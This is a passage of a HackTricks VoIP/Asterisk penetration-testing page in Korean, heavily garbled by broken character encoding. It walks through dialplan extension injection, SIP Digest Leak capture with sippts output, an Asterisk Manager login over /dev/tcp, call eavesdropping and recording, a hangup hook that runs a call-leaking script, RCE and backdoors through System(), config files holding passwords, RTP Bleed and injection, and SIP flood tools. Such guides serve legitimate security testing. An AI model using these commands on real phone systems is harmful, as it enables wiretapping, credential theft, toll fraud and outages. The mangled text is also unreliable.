λ ₯μ μΊ‘μ²νλ©°, ν΅ν νλ¦μ μ μ΄νλ λ° λμμ μ€λλ€.
#### μ·¨μ½ν ꡬμ±μ μ
```scss
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
```
μ΄μ μ μ¬μ©μκ° **λΆμλ₯Ό νΈμΆνκΈ° μν΄ 1μ λλ₯΄κ±°λ**, **λ€λ₯Έ λΆμλ₯Ό νΈμΆνκΈ° μν΄ 2λ₯Ό λλ₯΄κ±°λ**, **μκ³ μλ μ 체 λ΄μ λ²νΈλ₯Ό μ
λ ₯νλΌλ** μμ
λλ€.\
μ·¨μ½μ μ μ§μ λ **λ΄μ κΈΈμ΄κ° νμΈλμ§ μκΈ° λλ¬Έμ μ¬μ©μκ° 5μ΄ νμμμμ μ
λ ₯νμ¬ μ 체 λ²νΈλ₯Ό μ
λ ₯ν μ μκ³ , νΈμΆλ μ μλ€λ** μ¬μ€μ
λλ€.
### Extension Injection
λ€μκ³Ό κ°μ λ΄μ μ μ¬μ©νμ¬:
```scss
exten => _X.,1,Dial(SIP/${EXTEN})
```
Where **`${EXTEN}`**λ νΈμΆλ **λ΄μ **μ΄λ©°, **ext 101μ΄ λμ
λλ©΄** λ€μκ³Ό κ°μ μΌμ΄ λ°μν©λλ€:
```scss
exten => 101,1,Dial(SIP/101)
```
κ·Έλ¬λ **`${EXTEN}`**μ΄ **μ«μ μ΄μ**μ μ
λ ₯ν μ μκ² νμ©νλ€λ©΄(ꡬλ²μ Asteriskμ κ°μ΄), 곡격μλ **`101&SIP123123123`**μ μ
λ ₯νμ¬ μ νλ²νΈ 123123123μΌλ‘ μ νλ₯Ό κ±Έ μ μμ΅λλ€. κ·Έλ¦¬κ³ μ΄κ²μ΄ κ²°κ³Όμ
λλ€:
```scss
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
```
λ°λΌμ **`101`** λ° **`123123123`**μΌλ‘μ νΈμΆμ΄ μ μ‘λλ©°, 첫 λ²μ§Έ νΈμΆλ§ μ°κ²°λ©λλ€... κ·Έλ¬λ 곡격μκ° **μΌμΉνλ νλͺ©μ μ°ννλ νμ₯**μ μ¬μ©νμ§λ§ μ‘΄μ¬νμ§ μλ κ²½μ°, κ·Έλ **μνλ λ²νΈλ‘λ§ μ νλ₯Ό μ£Όμ
ν μ μμ΅λλ€**.
## SIPDigestLeak μ·¨μ½μ
SIP Digest Leakλ νλμ¨μ΄ λ° μννΈμ¨μ΄ IP μ νμ μ ν μ΄λν°(VoIPμμ μλ λ‘κ·Έλ‘) λ± λ§μ SIP μ νμ μν₯μ λ―ΈμΉλ μ·¨μ½μ μ
λλ€. μ΄ μ·¨μ½μ μ **λΉλ°λ²νΈλ‘λΆν° κ³μ°λ Digest μΈμ¦ μλ΅μ μ μΆ**μ νμ©ν©λλ€. **μ€νλΌμΈ λΉλ°λ²νΈ κ³΅κ²©μ΄ κ°λ₯ν΄μ§λ©°** λμ μλ΅μ κΈ°λ°μΌλ‘ λλΆλΆμ λΉλ°λ²νΈλ₯Ό 볡ꡬν μ μμ΅λλ€.
**[μ¬κΈ°μμμ μ·¨μ½μ μλ리μ€**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
1. IP μ ν(νΌν΄μ)λ λͺ¨λ ν¬νΈ(μ: 5060)μμ μ νλ₯Ό μμ νκ³ μμ΅λλ€.
2. 곡격μκ° IP μ νμ INVITEλ₯Ό 보λ
λλ€.
3. νΌν΄μ μ νκ° μΈλ¦¬κΈ° μμνκ³ λκ΅°κ° μ νλ₯Ό λ°κ³ λμ΅λλ€(μλλ°©μ΄ μ νλ₯Ό λ°μ§ μκΈ° λλ¬Έμ).
4. μ νκ° λμ΄μ§λ©΄ **νΌν΄μ μ νκ° κ³΅κ²©μμκ² BYEλ₯Ό 보λ
λλ€**.
5. **곡격μκ° 407 μλ΅μ λ°ν**νμ¬ **μΈμ¦μ μμ²**νκ³ μΈμ¦ λμ μ λ°νν©λλ€.
6. **νΌν΄μ μ νκ° λ λ²μ§Έ BYEμμ μΈμ¦ λμ μ λν μλ΅μ μ 곡ν©λλ€**.
7. **곡격μλ μμ μ λ‘컬 λ¨Έμ (λλ λΆμ° λ€νΈμν¬ λ±)μμ λμ μλ΅μ λν λ¬΄μ°¨λ³ λμ
곡격μ μνν μ μμΌλ©°** λΉλ°λ²νΈλ₯Ό μΆμΈ‘ν μ μμ΅λλ€.
* **SIPPTS μ μΆ**μ [**sippts**](https://github.com/Pepelux/sippts)**μμ:** SIPPTS μ μΆμ λ§μ SIP μ νμ μν₯μ λ―ΈμΉλ SIP Digest Leak μ·¨μ½μ μ μ
μ©ν©λλ€. μΆλ ₯μ SipCrack νμμΌλ‘ μ μ₯λμ΄ SIPPTS dcrack λλ SipCrack λꡬλ₯Ό μ¬μ©νμ¬ λ¬΄μ°¨λ³ λμ
곡격μ μνν μ μμ΅λλ€.
```bash
sippts leak -i 10.10.0.10
[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100
[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok
Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
```
### Click2Call
Click2Callμ **μΉ μ¬μ©μ**κ° (μλ₯Ό λ€μ΄, μ νμ κ΄μ¬μ΄ μμ μ μλ) **μ νλ²νΈ**λ₯Ό **μ 곡**νμ¬ μ νλ₯Ό λ°μ μ μλλ‘ ν©λλ€. κ·Έλ¬λ©΄ μμ
μ μΈ μ νκ° κ±Έλ¦¬κ³ , μ¬μ©μκ° **μ νλ₯Ό λ°μΌλ©΄** μ¬μ©μμ **μλ΄μμ΄ μ°κ²°**λ©λλ€.
μ΄μ κ΄λ ¨λ μΌλ°μ μΈ Asterisk νλ‘νμ:
```scss
[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
```
* μ΄μ νλ‘νμ **λͺ¨λ IP μ£Όμκ° μ°κ²°ν μ μλλ‘ νμ©**νκ³ μμ΅λλ€ (λΉλ°λ²νΈκ° μλ €μ§ κ²½μ°).
* **μ νλ₯Ό μ‘°μ§νκΈ° μν΄**, μ΄μ μ λͺ
μλ λλ‘, **μ½κΈ° κΆνμ΄ νμνμ§ μμΌλ©°** **μ€μ§** **μ°κΈ°**μμ **λ°μ **λ§ νμν©λλ€.
μ΄λ¬ν κΆνμΌλ‘ λΉλ°λ²νΈλ₯Ό μλ λͺ¨λ IPκ° μ°κ²°νμ¬ λ무 λ§μ μ 보λ₯Ό μΆμΆν μ μμ΅λλ€, μλ₯Ό λ€μ΄:
{% code overflow="wrap" %}
```bash
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
```
{% endcode %}
**μΆκ° μ 보λ μ‘°μΉλ₯Ό μμ²ν μ μμ΅λλ€.**
### **λμ²**
Asteriskμμλ **`ChanSpy`** λͺ
λ Ήμ΄λ₯Ό μ¬μ©νμ¬ **λͺ¨λν°λ§ν λ΄μ **(λλ λͺ¨λ λ΄μ )μ μ§μ νμ¬ μ§ν μ€μΈ λνλ₯Ό λ€μ μ μμ΅λλ€. μ΄ λͺ
λ Ήμ΄λ λ΄μ μ ν λΉλμ΄μΌ ν©λλ€.
μλ₯Ό λ€μ΄, **`exten => 333,1,ChanSpy('all',qb)`**λ **λ΄μ 333**μΌλ‘ **μ ν**λ₯Ό κ±Έλ©΄ **λͺ¨λ ** λ΄μ μ **λͺ¨λν°λ§**νκ³ , μλ‘μ΄ λνκ° μμλ λλ§λ€ (**`b`**) μ‘°μ©ν λͺ¨λ(**`q`**)λ‘ **λ£κΈ° μμ**ν¨μ λνλ
λλ€. μ°λ¦¬λ μ΄μ μνΈμμ©νκ³ μΆμ§ μκΈ° λλ¬Έμ
λλ€. **`*`**λ₯Ό λλ¬μ λλ λ΄μ λ²νΈλ₯Ό μ
λ ₯νμ¬ μ§ν μ€μΈ λνμμ λ€λ₯Έ λνλ‘ μ΄λν μ μμ΅λλ€.
νλμ λ΄μ λ§ λͺ¨λν°λ§νλ €λ©΄ **`ExtenSpy`**λ₯Ό μ¬μ©ν μλ μμ΅λλ€.
λνλ₯Ό λ£λ λμ , λ€μκ³Ό κ°μ λ΄μ μ μ¬μ©νμ¬ **νμΌμ κΈ°λ‘**ν μ μμ΅λλ€:
{% code overflow="wrap" %}
```scss
[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})
```
{% endcode %}
ν΅νλ **`/tmp`**μ μ μ₯λ©λλ€.
Asteriskκ° ν΅νκ° μ’
λ£λ λ **ν΅νλ₯Ό μ μΆνλ μ€ν¬λ¦½νΈλ₯Ό μ€ν**νλλ‘ ν μλ μμ΅λλ€.
```scss
exten => h,1,System(/tmp/leak_conv.sh &)
```
### RTCPBleed μ·¨μ½μ
**RTCPBleed**λ Asterisk κΈ°λ° VoIP μλ²μ μν₯μ λ―ΈμΉλ μ£Όμ 보μ λ¬Έμ μ
λλ€(2017λ
μ λ°νλ¨). μ΄ μ·¨μ½μ μ VoIP λνλ₯Ό μ λ¬νλ **RTP(μ€μκ° νλ‘ν μ½) νΈλν½**μ΄ **μΈν°λ·μ λꡬλ κ°λ‘μ±κ³ 리λλ μ
ν μ μλλ‘** νμ©ν©λλ€. μ΄λ RTP νΈλν½μ΄ NAT(λ€νΈμν¬ μ£Όμ λ³ν) λ°©νλ²½μ ν΅κ³Όν λ μΈμ¦μ μ°ννκΈ° λλ¬Έμ λ°μν©λλ€.
RTP νλ‘μλ λ κ° μ΄μμ λΉμ¬μ κ°μ RTP μ€νΈλ¦Όμ νλ‘μνμ¬ RTC μμ€ν
μ μν₯μ λ―ΈμΉλ **NAT μ ν**μ ν΄κ²°νλ €κ³ ν©λλ€. NATκ° μλ κ²½μ°, RTP νλ‘μ μννΈμ¨μ΄λ μ’
μ’
μ νΈλ₯Ό ν΅ν΄ κ²μλ RTP IP λ° ν¬νΈ μ 보λ₯Ό μ λ’°ν μ μμ΅λλ€(μ: SIP). λ°λΌμ μ¬λ¬ RTP νλ‘μλ μ΄λ¬ν **IP λ° ν¬νΈ ννμ μλμΌλ‘ νμ΅νλ λ©μ»€λμ¦**μ ꡬννμ΅λλ€. μ΄λ μ’
μ’
λ€μ΄μ€λ RTP νΈλν½μ κ²μ¬νκ³ λ€μ΄μ€λ RTP νΈλν½μ μΆλ°μ§ IP λ° ν¬νΈλ₯Ό μλ΅ν΄μΌ ν κ²μΌλ‘ νμνλ λ°©μμΌλ‘ μνλ©λλ€. μ΄ λ©μ»€λμ¦μ "νμ΅ λͺ¨λ"λΌκ³ λΆλ¦΄ μ μμΌλ©°, **μ΄λ ν μ’
λ₯μ μΈμ¦λ μ¬μ©νμ§ μμ΅λλ€**. λ°λΌμ **곡격μ**λ **RTP νλ‘μλ‘ RTP νΈλν½μ μ μ‘νκ³ ** μ§ν μ€μΈ RTP μ€νΈλ¦Όμ λ°μ μ λλ μμ μλ₯Ό μν΄ μλλ νλ‘μ RTP νΈλν½μ λ°μ μ μμ΅λλ€. μ°λ¦¬λ μ΄ μ·¨μ½μ μ RTP BleedλΌκ³ λΆλ₯΄λ©°, μ΄λ 곡격μκ° ν©λ²μ μΈ μ¬μ©μμκ² μ μ‘λ RTP λ―Έλμ΄ μ€νΈλ¦Όμ λ°μ μ μκ² ν©λλ€.
RTP νλ‘μμ RTP μ€νμ λ λ€λ₯Έ ν₯λ―Έλ‘μ΄ λμμ λλλ‘ **RTP Bleedμ μ·¨μ½νμ§ μλλΌλ** **λͺ¨λ μΆμ²μ RTP ν¨ν·μ μλ½νκ³ μ λ¬ λ°/λλ μ²λ¦¬**νλ€λ κ²μ
λλ€. λ°λΌμ 곡격μλ ν©λ²μ μΈ λ―Έλμ΄ λμ μμ μ λ―Έλμ΄λ₯Ό μ£Όμ
ν μ μλ RTP ν¨ν·μ λ³΄λΌ μ μμ΅λλ€. μ°λ¦¬λ μ΄ κ³΅κ²©μ RTP μ£Όμ
μ΄λΌκ³ λΆλ₯΄λ©°, μ΄λ κΈ°μ‘΄ RTP μ€νΈλ¦Όμ λΆλ²μ μΈ RTP ν¨ν·μ μ£Όμ
ν μ μκ² ν©λλ€. μ΄ μ·¨μ½μ μ RTP νλ‘μμ μλν¬μΈνΈ λͺ¨λμμ λ°κ²¬λ μ μμ΅λλ€.
Asteriskμ FreePBXλ μ ν΅μ μΌλ‘ **`NAT=yes` μ€μ **μ μ¬μ©νμ¬ RTP νΈλν½μ΄ μΈμ¦μ μ°ννλλ‘ νμ¬, ν΅νμμ μ€λμ€κ° μκ±°λ μΌλ°©ν₯ μ€λμ€κ° λ°μν μ μμ΅λλ€.
μμΈν μ 보λ [https://www.rtpbleed.com/](https://www.rtpbleed.com/)λ₯Ό νμΈνμΈμ.
* **`SIPPTS rtpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedλ RTP μ€νΈλ¦Όμ μ μ‘νμ¬ RTP Bleed μ·¨μ½μ μ κ°μ§ν©λλ€.
```bash
sippts rtpbleed -i 10.10.0.10
```
* **`SIPPTS rtcpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleedλ RTCP μ€νΈλ¦Όμ μ μ‘νμ¬ RTP Bleed μ·¨μ½μ μ κ°μ§ν©λλ€.
```bash
sippts rtcpbleed -i 10.10.0.10
```
* **`SIPPTS rtpbleedflood`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedfloodλ RTP μ€νΈλ¦Όμ μ μ‘νμ¬ RTP Bleed μ·¨μ½μ μ μ
μ©ν©λλ€.
```bash
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
```
* **`SIPPTS rtpbleedinject`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinjectλ μ€λμ€ νμΌ(WAV νμ)μ μ£Όμ
νμ¬ RTP Bleed μ·¨μ½μ μ μ
μ©ν©λλ€.
```bash
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
```
### RCE
Asteriskμμ μ΄λ»κ²λ **νμ₯ κ·μΉμ μΆκ°νκ³ μ΄λ₯Ό λ€μ λ‘λ**ν μ μλ€λ©΄(μ: μ·¨μ½ν μΉ κ΄λ¦¬μ μλ²λ₯Ό νκ²μΌλ‘ νμ¬), **`System`** λͺ
λ Ήμ μ¬μ©νμ¬ RCEλ₯Ό μ»μ μ μμ΅λλ€.
```scss
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
```
There is command called **`Shell`** that could be used **instead of `System`** to execute system commands if necessary.
{% hint style="warning" %}
μλ²κ° **`System`** λͺ
λ Ήμμ **νΉμ λ¬Έμμ μ¬μ©μ κΈμ§**νκ³ μλ κ²½μ°(μ: Elastix), μΉ μλ²κ° **μμ€ν
λ΄μμ νμΌμ μμ±ν μ μλμ§** νμΈνκ³ (μ: Elastix λλ trixbox), μ΄λ₯Ό μ¬μ©νμ¬ **λ°±λμ΄ μ€ν¬λ¦½νΈ**λ₯Ό μμ±ν λ€μ **`System`**μ μ¬μ©νμ¬ ν΄λΉ **μ€ν¬λ¦½νΈ**λ₯Ό **μ€ν**νμμμ€.
{% endhint %}
#### ν₯λ―Έλ‘μ΄ λ‘컬 νμΌ λ° κΆν
* **`sip.conf`** -> SIP μ¬μ©μ λΉλ°λ²νΈλ₯Ό ν¬ν¨ν©λλ€.
* **Asterisk μλ²κ° rootλ‘ μ€νλκ³ μλ κ²½μ°**, rootλ₯Ό μμμν¬ μ μμ΅λλ€.
* **mysql root μ¬μ©μ**λ **λΉλ°λ²νΈκ° μμ μ μμ΅λλ€**.
* μ΄λ₯Ό μ¬μ©νμ¬ λ°±λμ΄λ‘ μλ‘μ΄ mysql μ¬μ©μλ₯Ό μμ±ν μ μμ΅λλ€.
* **`FreePBX`**
* **`amportal.conf`** -> μΉ ν¨λ κ΄λ¦¬μ(FreePBX)μ λΉλ°λ²νΈλ₯Ό ν¬ν¨ν©λλ€.
* **`FreePBX.conf`** -> λ°μ΄ν°λ² μ΄μ€μ μ κ·Όνλ λ° μ¬μ©λλ FreePBXuserμ λΉλ°λ²νΈλ₯Ό ν¬ν¨ν©λλ€.
* μ΄λ₯Ό μ¬μ©νμ¬ λ°±λμ΄λ‘ μλ‘μ΄ mysql μ¬μ©μλ₯Ό μμ±ν μ μμ΅λλ€.
* **`Elastix`**
* **`Elastix.conf`** -> mysql root λΉλ°λ²νΈ, IMAPd λΉλ°λ²νΈ, μΉ κ΄λ¦¬μ λΉλ°λ²νΈμ κ°μ μ¬λ¬ λΉλ°λ²νΈλ₯Ό νλ¬ΈμΌλ‘ ν¬ν¨ν©λλ€.
* **μ¬λ¬ ν΄λ**λ μμλ asterisk μ¬μ©μμκ² μν©λλ€(루νΈλ‘ μ€νλμ§ μλ κ²½μ°). μ΄ μ¬μ©μλ μ΄μ νμΌμ μ½μ μ μμΌλ©° ꡬμ±λ μ μ΄νλ―λ‘ Asteriskκ° μ€νλ λ λ€λ₯Έ λ°±λμ΄κ° μλ λ°μ΄λ리λ₯Ό λ‘λνλλ‘ λ§λ€ μ μμ΅λλ€.
### RTP μ£Όμ
**`rtpinsertsound`** (`sudo apt install rtpinsertsound`) λ° **`rtpmixsound`** (`sudo apt install rtpmixsound`)μ κ°μ λꡬλ₯Ό μ¬μ©νμ¬ λνμ **`.wav`** νμΌμ μ½μ
ν μ μμ΅λλ€.
λλ [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/)μ μ€ν¬λ¦½νΈλ₯Ό μ¬μ©νμ¬ **λνλ₯Ό μ€μΊ**νκ³ (**`rtpscan.pl`**), λνμ **`.wav`** νμΌμ μ μ‘νλ©°(**`rtpsend.pl`**), λνμ **λ
Έμ΄μ¦λ₯Ό μ½μ
**ν μ μμ΅λλ€(**`rtpflood.pl`**).
### DoS
VoIP μλ²μμ DoSλ₯Ό λ¬μ±νκΈ° μν μ¬λ¬ λ°©λ²μ΄ μμ΅λλ€.
* **`SIPPTS flood`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS νλ¬λλ λμμκ² λ¬΄μ ν λ©μμ§λ₯Ό μ μ‘ν©λλ€.
* `sippts flood -i 10.10.0.10 -m invite -v`
* **`SIPPTS ping`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS νμ μλ² μλ΅ μκ°μ νμΈνκΈ° μν΄ SIP νμ 보λ
λλ€.
* `sippts ping -i 10.10.0.10`
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): Asteriskμμ μ¬μ©νλ DoS IAX νλ‘ν μ½
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): UDP/IPλ₯Ό ν΅ν΄ SIP/SDP INVITE λ©μμ§ νλ¬λ©μ μννλ λꡬμ
λλ€.
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): μ¬λ¬ κ°μ μ νμ±λ RTP ν¨ν·μ μ μ‘ν©λλ€. μ¬μ© μ€μΈ RTP ν¬νΈλ₯Ό μμμΌ ν©λλ€(λ¨Όμ μ€λν).
* [**SIPp**](https://github.com/SIPp/sipp): SIP νΈλν½μ λΆμνκ³ μμ±ν μ μμ΅λλ€. λ°λΌμ DoSμλ μ¬μ©ν μ μμ΅λλ€.
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP μ€μμ€ κ΅°μ© μΉΌ. SIP 곡격μ μννλ λ°μλ μ¬μ©ν μ μμ΅λλ€.
* νΌμ : [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
### OS μ·¨μ½μ
Asteriskμ κ°μ μννΈμ¨μ΄λ₯Ό μ€μΉνλ κ°μ₯ μ¬μ΄ λ°©λ²μ μ΄λ―Έ μ€μΉλ **OS λ°°ν¬ν**μ λ€μ΄λ‘λνλ κ²μ
λλ€. μ: **FreePBX, Elastix, Trixbox**... λ¬Έμ λ μλνκΈ° μμνλ©΄ μμ€ν
κ΄λ¦¬μκ° **λ€μ μ
λ°μ΄νΈνμ§ μμ μ** μμΌλ©° **μ·¨μ½μ **μ΄ μκ°μ΄ μ§λ¨μ λ°λΌ λ°κ²¬λ κ²μ΄λΌλ μ μ
λλ€.
## References
* [https://github.com/Pepelux/sippts/wiki](https://github.com/Pepelux/sippts/wiki)
* [https://github.com/EnableSecurity/sipvicious](https://github.com/EnableSecurity/sipvicious)
* [http://blog.pepelux.org/](http://blog.pepelux.org/)
* [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
* [https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4](https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4)
* [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** π¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}